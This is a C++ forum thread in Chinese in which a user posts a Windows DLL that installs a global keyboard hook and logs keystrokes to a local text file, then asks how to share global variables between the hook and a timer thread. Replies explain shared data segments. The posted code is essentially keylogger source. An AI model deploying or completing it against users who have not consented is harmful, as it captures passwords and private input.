dll线程和全局变量

tiankong_bear 2011-09-04 07:10:35

#include <windows.h>
#include "write.hpp"

int _time = 0;
HANDLE timer_thread;

bool do_write=0;

std::string STR="";
HINSTANCE hInst;
#pragma data_seg("hookdata")

HHOOK oldkeyhook;
#pragma data_seg()
#pragma comment ( linker, "/section:shared,rws" )
#define DllExport __declspec(dllexport)

DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam );
DllExport void _stdcall InstallHook(int nCode);
DllExport void _stdcall EndHook();

DWORD WINAPI _timer(void* Sptr)
{
while (1)
{

if (do_write||_time>22)
{
_time = 0;
if (STR.length()>0) {
do_write = 0;
std::ofstream fp("e:\\c\\hook\\key.txt",std::ios_base::app);
WriteLine(fp,STR);
STR="";
}
}

Sleep(260);
_time++;
}
return 0;
}


BOOL WINAPI DllMain(HINSTANCE hInstance,DWORD What,LPVOID NotUsed)
{

switch(What)
{
case DLL_PROCESS_ATTACH:
hInst = hInstance;

break;

case DLL_PROCESS_DETACH:
break;

case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}

return 1;
}




void InstallHook(int nCode)
{
oldkeyhook = SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,GetModuleHandle("_hook.dll"),0);
DWORD ID; timer_thread = CreateThread(NULL,0,_timer,NULL,0,&ID);

}



DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam )
{



if (lParam>>31)
{

_time = 0;
if (wParam>=0x20&&wParam<=0x60) {STR+=char(wParam); }

if (wParam>=0x09&&wParam<=0x0D) {do_write =1;}

}

return CallNextHookEx(oldkeyhook,nCode,wParam,lParam);
}



void EndHook()
{
MessageBox(NULL,"end","a",0);
CloseHandle(timer_thread);
UnhookWindowsHookEx(oldkeyhook);
}





另一个程序调用InstallHook
这样一来dll中全局变量 在钩子函数 和 定时器线程中不同 怎么做才能使之传递?
...全文
55 3 打赏 收藏 转发到动态 举报
写回复
用AI写文章
3 条回复
切换为时间正序
请发表友善的回复…
发表回复
Gloveing 2011-09-04
  • 打赏
  • 举报
回复
[Quote=引用 2 楼 tiankong_bear 的回复:]

引用 1 楼 fox000002 的回复:
要么都整成共享变量,不然只能 IPC 方法

共享变量怎么整 好像也不行
[/Quote]
用#pragma data_seg建立一个新的数据段并定义共享数据,其具体格式为:

#pragma data_seg ("shareddata")
HWND sharedwnd=NULL;//共享数据
#pragma data_seg()

共享数据必须初始化,否则微软编译器会把没有初始化的数据放到.BSS段中,从而导致多个进程之间的共享行为失败。
也可以直接用DLL原始码指定连结选项,就像我们在STRLIB.C那样(《windows编程》教程动态链接库):
#pragma comment(linker,"/SECTION:shared,RWS")
这种方法只能在没有def文件时使用,如果通过def文件进行导出的话,那么设置就要在def文件内设置而不能 在代码里设置了。
tiankong_bear 2011-09-04
  • 打赏
  • 举报
回复
[Quote=引用 1 楼 fox000002 的回复:]
要么都整成共享变量,不然只能 IPC 方法
[/Quote]
共享变量怎么整 好像也不行
fox000002 2011-09-04
  • 打赏
  • 举报
回复
要么都整成共享变量,不然只能 IPC 方法

64,648

社区成员

发帖
与我相关
我的任务
社区描述
C++ 语言相关问题讨论,技术干货分享,前沿动态等
c++ 技术论坛(原bbs)
社区管理员
  • C++ 语言社区
  • encoderlee
  • paschen
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
  1. 请不要发布与C++技术无关的贴子
  2. 请不要发布与技术无关的招聘、广告的帖子
  3. 请尽可能的描述清楚你的问题,如果涉及到代码请尽可能的格式化一下

试试用AI创作助手写篇文章吧